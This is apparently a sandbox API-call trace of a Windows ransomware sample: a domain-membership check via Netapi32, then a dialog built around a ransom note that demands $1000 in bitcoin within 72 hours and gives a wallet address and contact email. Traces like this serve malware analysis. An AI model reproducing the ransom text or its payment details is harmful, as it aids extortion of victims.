CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0046.135] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.136] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.136] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.136] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0046.136] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.136] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0046.137] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0046.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0046.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0xe0d69343d0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0046.143] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0046.143] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0xe0d659e0d8, BufferType=0xe0d659e100 | out: lpNameBuffer=0xe0d659e0d8*="WORKGROUP", BufferType=0xe0d659e100) returned 0x0 [0046.145] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0046.146] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.146] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.146] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.146] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0046.146] PeekMessageW (in: lpMsg=0xe0d659e0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e0c0) returned 0 [0046.147] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0046.147] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0046.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0046.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0xe0d6934490, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0046.152] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0046.153] NetApiBufferSize (in: Buffer=0xe0d694ba00, ByteCount=0xe0d659d838 | out: ByteCount=0xe0d659d838) returned 0x0 [0046.153] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0046.154] PeekMessageW (in: lpMsg=0xe0d659e0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e0c0) returned 0 [0046.154] PeekMessageW (in: lpMsg=0xe0d659e0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e0c0) returned 0 [0046.155] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0046.155] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.155] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.155] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0046.157] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.157] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.158] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.158] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.158] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.158] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.158] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.158] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.158] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="The only way you can recover your files is to buy a decryption key, Please send the mentioned about of money in bitcoins to the following address bitcoin:1rixKVYiwwtDheLLb7QHEmxF4Nb1Xt1Fq or all files will be deleted in 72 hours,,,,,, After payment Please Contact (shadowbroker_1@protonmail.com)\r\nThe payment method is: Bitcoins. The price is: $1000 = 0.44407866 Bitcoins\r\n\r\nClick on the 'Buy decryption key' button.", dwStyle=0x50000804, X=16, Y=456, nWidth=768, nHeight=177, hWndParent=0x50216, hMenu=0x8, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xd0020 [0046.160] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.160] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x210, wParam=0x80001, lParam=0xd0020) returned 0x0 [0046.160] GetStockObject (i=17) returned 0x10a0047 [0046.160] SendMessageW (hWnd=0xd0020, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0046.160] GetWindowTextLengthW (hWnd=0xd0020) returned 417 [0046.160] SendMessageW (hWnd=0xd0020, Msg=0xb1, wParam=0x1a1, lParam=0x1a1) returned 0x1 [0046.160] GetClientRect (in: hWnd=0xd0020, lpRect=0xe0d659f0a0 | out: lpRect=0xe0d659f0a0) returned 1 [0046.160] GetWindowRect (in: hWnd=0xd0020, lpRect=0xe0d659f0a0 | out: lpRect=0xe0d659f0a0) returned 1 [0046.160] SetWindowLongPtrW (hWnd=0xd0020, nIndex=-21, dwNewLong=0x8) returned 0x0 [0046.160] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.161] GetDC (hWnd=0x0) returned 0x1601069e [0046.161] GetDeviceCaps (hdc=0x1601069e, index=90) returned 96 [0046.161] ReleaseDC (hWnd=0x0, hDC=0x1601069e) returned 1 [0046.161] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x4b0a06f7 [0046.161] SendMessageW (hWnd=0xd0020, Msg=0x30, wParam=0x4b0a06f7, lParam=0x1) returned 0x1 [0046.165] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.165] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.165] ShowWindow (hWnd=0x50216, nCmdShow=5) returned 0 [0046.165] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.165] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0046.165] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.165] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x46, wParam=0x0, lParam=0xe0d659f5f0) returned 0x0 [0046.173] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.173] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x46, wParam=0x0, lParam=0xe0d659f5f0) returned 0x0 [0046.173] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.173] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x1c, wParam=0x1, lParam=0x7c0) returned 0x0 [0046.173] NtdllDefWindowProc_W (hWnd=0x9002c, Msg=0x1c, wParam=0x1, lParam=0x7c0) returned 0x0 [0046.173] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.173] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0046.173] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.173] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.173] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0046.176] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.176] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0046.177] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.177] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0046.177] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.177] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.177] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0046.177] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.177] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x8, wParam=0x901e4, lParam=0x0) returned 0x0 [0046.178] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.178] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0046.178] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.178] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0046.178] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.178] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x14, wParam=0xffffffff94010668, lParam=0x0) returned 0x1 [0046.178] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.178] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.178] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.178] SetBkColor (hdc=0xffffffff94010668, color=0xf0f0f0) returned 0xffffff [0046.178] CreateSolidBrush (color=0xf0f0f0) returned 0xffffffff9110059b [0046.179] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.179] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x47, wParam=0x0, lParam=0xe0d659f5f0) returned 0x0 [0046.179] GetForegroundWindow () returned 0x50216 [0046.179] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.179] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.179] GetWindowLongW (hWnd=0x50216, nIndex=-20) returned 256 [0046.179] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x84, wParam=0x0, lParam=0x1fa0313) returned 0x1 [0046.179] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.179] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.179] GetClientRect (in: hWnd=0x50216, lpRect=0xe0d659f300 | out: lpRect=0xe0d659f300) returned 1 [0046.179] GetCursorPos (in: lpPoint=0xe0d659f320 | out: lpPoint=0xe0d659f320*(x=787, y=506)) returned 1 [0046.179] ScreenToClient (in: hWnd=0x50216, lpPoint=0xe0d659f320 | out: lpPoint=0xe0d659f320) returned 1 [0046.179] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0046.179] SetCursor (hCursor=0x10003) returned 0x10007 [0046.179] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.179] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.179] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x200, wParam=0x0, lParam=0x18401d2) returned 0x0 [0046.179] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.179] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.179] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.179] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.181] BeginPaint (in: hWnd=0x50216, lpPaint=0xe0d659f1f0 | out: lpPaint=0xe0d659f1f0) returned 0xffffffff94010668 [0046.181] EndPaint (hWnd=0x50216, lpPaint=0xe0d659f1f0) returned 1 [0046.181] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.181] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.181] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.181] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x14, wParam=0xffffffffff01071c, lParam=0x0) returned 0x1 [0046.181] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.181] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.181] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.181] SetBkColor (hdc=0xffffffffff01071c, color=0xf0f0f0) returned 0xffffff [0046.181] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.181] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x318, wParam=0xffffffffff01071c, lParam=0x4) returned 0x0 [0046.181] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.181] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.181] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.181] SetBkColor (hdc=0xffffffffff01071c, color=0xf0f0f0) returned 0xf0f0f0 [0046.181] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.181] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.181] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.181] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659edf0) returned 0x0 [0046.181] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.181] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.181] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.181] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659edf0) returned 0x0 [0046.182] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.182] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.182] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.182] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.182] GetWindowLongPtrW (hWnd=0x701ea, nIndex=-21) returned 0x4 [0046.182] GetWindowLongPtrW (hWnd=0x701ea, nIndex=-21) returned 0x4 [0046.182] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.182] SetTextColor (hdc=0x11010729, color=0xff00) returned 0x0 [0046.182] SetBkColor (hdc=0x11010729, color=0x0) returned 0xffffff [0046.182] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.182] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x14, wParam=0x11010729, lParam=0x0) returned 0x1 [0046.182] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.182] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.182] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.182] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0x0 [0046.182] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.182] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x318, wParam=0x11010729, lParam=0x4) returned 0x0 [0046.183] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.183] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.183] GetWindowLongPtrW (hWnd=0x701ea, nIndex=-21) returned 0x4 [0046.183] GetWindowLongPtrW (hWnd=0x701ea, nIndex=-21) returned 0x4 [0046.183] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.183] SetTextColor (hdc=0x11010729, color=0xff00) returned 0x0 [0046.183] SetBkColor (hdc=0x11010729, color=0x0) returned 0xffffff [0046.183] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.183] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.183] GetWindowLongPtrW (hWnd=0x701ea, nIndex=-21) returned 0x4 [0046.183] GetWindowLongPtrW (hWnd=0x701ea, nIndex=-21) returned 0x4 [0046.183] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.183] SetTextColor (hdc=0x11010729, color=0xff00) returned 0xff00 [0046.183] SetBkColor (hdc=0x11010729, color=0x0) returned 0x0 [0046.183] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.183] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.183] GetWindowLongPtrW (hWnd=0x701ea, nIndex=-21) returned 0x4 [0046.183] GetWindowLongPtrW (hWnd=0x701ea, nIndex=-21) returned 0x4 [0046.183] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.183] SetTextColor (hdc=0x11010729, color=0xff00) returned 0xff00 [0046.183] SetBkColor (hdc=0x11010729, color=0x0) returned 0x0 [0046.185] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.185] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.185] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.185] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.185] GetWindowLongPtrW (hWnd=0xa018a, nIndex=-21) returned 0x5 [0046.185] GetWindowLongPtrW (hWnd=0xa018a, nIndex=-21) returned 0x5 [0046.185] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.185] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0046.185] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xffffff [0046.185] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.185] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.185] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.185] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.185] GetWindowLongPtrW (hWnd=0xa01e6, nIndex=-21) returned 0x6 [0046.185] GetWindowLongPtrW (hWnd=0xa01e6, nIndex=-21) returned 0x6 [0046.185] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.185] GetWindowLongW (hWnd=0xa01e6, nIndex=-16) returned 1342242944 [0046.185] GetSysColor (nIndex=5) returned 0xffffff [0046.185] GetSysColor (nIndex=8) returned 0x0 [0046.185] SetTextColor (hdc=0xe010572, color=0x0) returned 0x0 [0046.185] SetBkColor (hdc=0xe010572, color=0xffffff) returned 0xffffff [0046.185] CreateSolidBrush (color=0xffffff) returned 0x361007f6 [0046.185] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.185] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x14, wParam=0xffffffffa00106f6, lParam=0x0) returned 0x1 [0046.186] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.186] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.186] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.186] SetBkColor (hdc=0xffffffffa00106f6, color=0xf0f0f0) returned 0xffffff [0046.186] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.186] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x318, wParam=0xffffffffa00106f6, lParam=0x4) returned 0x0 [0046.186] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.186] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.186] GetWindowLongPtrW (hWnd=0xa01e6, nIndex=-21) returned 0x6 [0046.186] GetWindowLongPtrW (hWnd=0xa01e6, nIndex=-21) returned 0x6 [0046.186] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.186] GetWindowLongW (hWnd=0xa01e6, nIndex=-16) returned 1342242944 [0046.186] GetSysColor (nIndex=5) returned 0xffffff [0046.186] GetSysColor (nIndex=8) returned 0x0 [0046.186] SetTextColor (hdc=0xffffffffa10106f6, color=0x0) returned 0x0 [0046.186] SetBkColor (hdc=0xffffffffa10106f6, color=0xffffff) returned 0xffffff [0046.192] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.192] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.192] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.192] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x20, wParam=0x901e4, lParam=0x2000001) returned 0x0 [0046.192] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.192] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.192] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.192] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659f2f0) returned 0x0 [0046.192] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.192] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.192] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.192] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x14, wParam=0x6b010826, lParam=0x0) returned 0x1 [0046.192] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.192] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.192] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.192] SetBkColor (hdc=0x6b010826, color=0xf0f0f0) returned 0xffffff [0046.192] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.192] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x318, wParam=0x6b010826, lParam=0x4) returned 0x0 [0046.192] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.192] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.192] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.192] SetBkColor (hdc=0x6b010826, color=0xf0f0f0) returned 0xf0f0f0 [0046.192] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.192] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.192] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.192] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659edf0) returned 0x0 [0046.192] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.192] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.192] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.193] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659edf0) returned 0x0 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x14, wParam=0xffffffffa20106f6, lParam=0x0) returned 0x1 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.193] SetBkColor (hdc=0xffffffffa20106f6, color=0xf0f0f0) returned 0xffffff [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x318, wParam=0xffffffffa20106f6, lParam=0x4) returned 0x0 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.193] SetBkColor (hdc=0xffffffffa20106f6, color=0xf0f0f0) returned 0xf0f0f0 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.193] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659edf0) returned 0x0 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 